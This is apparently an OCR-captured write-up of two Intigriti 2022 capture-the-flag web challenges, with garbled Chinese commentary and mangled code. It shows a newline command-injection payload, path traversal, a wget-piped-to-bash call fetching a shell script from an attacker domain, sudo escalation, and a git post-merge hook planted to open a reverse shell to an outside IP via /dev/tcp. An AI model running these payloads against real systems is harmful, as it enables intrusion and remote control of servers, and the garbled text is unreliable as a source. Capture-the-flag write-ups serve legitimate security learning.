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Select a package

Check-in For your comfort, hotel room will be all-ready for you, just make the payment complete and leave the rest on us.
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URL
https://traveller.ctf.intigriti.io/package2-details.php

enctype
@@ cnable POST  application/x-www-form-urlencoded (raw) v ADD HEADER

Body
pack=Singel%0acat%09/flag.txt&submit=

[live_ctf_2022]Lovely Kitten Pictures
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payload

GET /pictures.php?path=assets/../../../../../../../var/www/html/cat_info.php

TR T RE 4 Rflag

ZJE B RE T, KR FEfmpHEllRgoEH, HEERZWEMmaingo, ZRBIIEMER/E T IHEH

if-strings. (pictureURL, ”http:f/lacalhost") I=-09-{
fmt. ("[*] -External-requests-are-not-allowed! - y8")
return

}

commandString fmt. ("wget--0---%s-|-/bin/bash", - pictureURL)
cmd - :=-exec. ("bash™, -"-c", -commandString)

iX BB B R —/http:/localhostgéid, EEkdnsf#iT, localhost.viewofthai.link$&[a B Civps, 4R J5 18 python3 -m http.server
1234 , THHKE cHbash.sh

payload

https://lovelykittenpictures.ctf.intigriti.io/cat_info.php?id=1%20-e%20http://localhost.viewofthai.link:1234/tmp|
/thaii.sh

RBEFWUEINCEREERZEHAT T ! SERBAEKHHATEL, R¥E] T shell

flag2 tt7EMR B 3%

var /www/html$ cat /flag2.txt

P{K1TT3N_BY "H4R
b-lovelyk 35 155¢ —cnm5g: /var /www/html$ D

su sudo -1
E 33—/ no password K, Rlevell, BEFERE
sudo su levell

B Tlevell, flag2fEtHFA BT



bash: line 16: flag: command not found
whoami

levell

cd ~

pwd

/home/levell

ls -al

total 24

dr—-xr—-x—--- levell commonusers

drwxr—-xr-x root root ..
-rw-r——-r-— 1 levell commonusers .bash_logout
—rw-r——r—- levell commonusers .bashrc
—rw—r——r-—- levell commonusers .profile
-r--r--r-- 1 root root : flag3.txt
cat flag3.txt
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|

& Jasudo - & Flgit pulldr &H admintU R, HRHE & #1851 75 2 T Fhttps://github.com/armav-t/git-pull-priv-escalation
B freadmeit 8 T FE
Seitpayload.tarfi 7£ python http ik 45 B BRAN ST 32 T

2 Jawget+turfE Bltmp B % CERUR)



cat ./slave/.git/hooks/post-merge
#! /bin/bash

printf 'Root Flag: '
cat /root/root.txt

printf 'User Flag: '

cat /home/clave/user.txt

echo '#!/bin/bash

bash -1 > /dev/tcp/8.129.42.140/60006 0>&1 2>&1' >./slave/.git/hooks/post-merge
cat ./slave/.git/hooks/post-merge

#! /bin/bash

bash -i > /dev/tcp/8.129.42.140/60006 0>&1 2>&1

cd ..

cd payload

cd slave

chmod 777 . -R

sudo -u admin git pull

Updating 5e58161..e53f405

Fast-forward

opml.php | 39 +++++++++++++tttttttttttttttttttttttttt

1 file changed, 39 -insertions(+)
create mode 100644 opml.php

RIEMEEN slave/.git/hooks/post-merge HIN 2N

! /bin/bash
bash -i > /dev/tcp/8.129.42.140/60006 0>&1 2>&1

2 JaE Flpayload H3%, idffchmod

1% B Ly OB 1) R X B ERER B YL T cd [Elslave H Fchmod 777 . -R & sudo -u admin git pull BI R Y 2l & 3 fjadminfbash shell

b—Llove lykittenpictures-68511T5584d-cnm5g: /tmp/pay Load

admin@web-lovelykittenpictures-685ff5584d-cnm5g: /tmp/payload/slave$ cd ~
cd ~

admin@web-lovelykittenpictures-685ff5584d-cnm5g: /home/admin$ cat flag
cat flag

cat: flag: No such file or directory
admin@web-lovelykittenpictures-685ff5584d-cnm5g: /home/admin$ 1s

s

flag4d.txt
admin@web-lovelykittenpictures-685ff5584d-cnm5g: /home/admin$ cat flx
cat flx
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